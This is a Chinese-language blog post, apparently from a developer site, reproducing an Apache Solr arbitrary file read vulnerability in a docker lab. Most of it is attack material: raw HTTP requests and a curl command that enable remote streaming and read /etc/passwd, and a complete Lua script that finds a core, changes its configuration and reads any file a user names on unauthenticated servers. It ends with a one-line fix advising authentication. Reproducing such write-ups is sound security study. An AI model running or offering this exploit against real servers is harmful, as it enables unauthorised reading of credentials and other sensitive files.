Apache Solr文件读取漏洞复现与POC脚本编写

0x00 漏洞概述

Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件。

0x01 影响版本

全版本(ALL)

0x02 漏洞复现

这里使用docker进行安装

docker pull solr
docker run --name solr2 -d -p 8081:8983 solr

在这里插入图片描述
进入容器

cd /opt/solr-8.8.1/server/solr/config/configsets/_default
cp -r conf /var/solr/data/new_core

重启容器

在这里插入图片描述
创建数据驱动核心
在这里插入图片描述
核心name如下
在这里插入图片描述

Your-ip8081/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

POST /solr/new_core/config HTTP/1.1
Host: 192.168.81.130:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close 
Upgrade-Insecure-Requests: 1
Content-Length: 84

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

在这里插入图片描述

POST /solr/new_core/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.81.130:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

stream.url=file:///etc/passwd

在这里插入图片描述
也可以通过curl命令行读取到文件

curl "http://192.168.81.130:8080/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

在这里插入图片描述
附上自己写的lua脚本

-- 获取core_name
function get_core(host)
    -- 调用模块
    local http = require("socket.http")
    local ltn12 = require("ltn12")
    local request_body = [[]]
    local response_body = {}

    -- 发送http请求包
    local res, code, response_headers = http.request{
        url = "http://"..host.."/solr/admin/cores?indexInfo=false&wt=json",
        method = "GET",
        -- 初始和最终的网络节点,每次调用,则分别产生新的数据和接收到最终的数据
        source = ltn12.source.string(request_body),
        sink = ltn12.sink.table(response_body),
    }
    
    if type(response_body) == "table" then
        local string = table.concat(response_body)
        -- 正则匹配返回包中的核心名称即 core_name
        local _,_,core_name = string.find(string,'.name.:"(.-)",')
        if core_name ~= nil then
            print("查看第一个返回包:\n"..string)
            print("#######################################################################")
            print("\n从返回包中发现core_name,且core_name为"..core_name..'\n')
            return core_name
        end
    else
        print("Not a table:", type(response_body))
    end
end

-- set-property config
function set_property(host,core_name)
    local http = require("socket.http")
    local ltn12 = require("ltn12")
    -- 构造特定的请求体
    local request_body = [[
        {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
    ]]
    local response_body = {}

    local res, code, response_headers = http.request{
        url = "http://"..host.."/solr/"..core_name.."/config",
        method = "POST",
        headers =
          {
              --["Content-Type"] = "application/x-www-form-urlencoded";
                ["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
                ["Accept-Language"] = "en-US,en;q=0.5",
                ["Accept-Encoding"] = "gzip, deflate",
                ["Connection"] = "close",
                ["Upgrade-Insecure-Requests"] = "1",
                ["Content-Length"] = #request_body;
          },
        source = ltn12.source.string(request_body),
        sink = ltn12.sink.table(response_body),
    }
    
    if type(response_body) == "table" then
        local string = table.concat(response_body)
        -- 正则匹配返回包中存在该漏洞的特征语句,且证明是否存在漏洞
        local _,_,bug_sign = string.find(string,'"WARNING":"(.-)"}')
        print("#######################################################################")
        print("查看第二个返回包:\n"..string)
        print("#######################################################################")
        if bug_sign == "This response format is experimental.  It is likely to change in the future." then
            print("\n漏洞特征点为\n"..bug_sign..'\n')
            print("该slor版本存在文件读取漏洞!!!!\n")
	    return true
        else
            print("不存在漏洞")
        end
    else
        print("Not a table:", type(response_body))
        return false
    end
end

-- 文件读取
function readfile(host,core_name,filename)
    local http = require("socket.http")
    local ltn12 = require("ltn12")
    -- 读取指定文件
    local request_body = "stream.url=file://"..filename
    local response_body = {}

    local res, code, response_headers = http.request{
        url = "http://"..host.."/solr/"..core_name.."/debug/dump?param=ContentStreams",
        method = "POST",
        headers =
          {
              -- POST请求需加上 ["Content-Type"] = "application/x-www-form-urlencoded"
              ["Content-Type"] = "application/x-www-form-urlencoded";
              ["Content-Length"] = #request_body;
          },
        source = ltn12.source.string(request_body),
        sink = ltn12.sink.table(response_body),
    }
    
    if type(response_body) == "table" then
        local string = table.concat(response_body)
        -- 正则匹配返回包中的指定文件内容
        local _,_,file_content = string.find(string,'"stream":"(.-)"}],')
        if file_content ~= nil then
            print("#######################################################################")
            print("漏洞利用成功!!")
            print("#######################################################################")
            print(file_content)
        else
            print("文件读取失败,可能这是一个目录 或者 不存在该目录 或者 当前用户权限不够")
        end
    else
        print("Not a table:", type(response_body))
    end
end

-- 主函数
function main()
    local host = arg[1]
    local filename = arg[2]
    local core_name = get_core(host)
    if set_property(host,core_name) == true then
        readfile(host,core_name,filename)
    end
end

main()

利用效果
在这里插入图片描述

0x03修复建议

开启身份验证/授权,参考官方文档:
https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值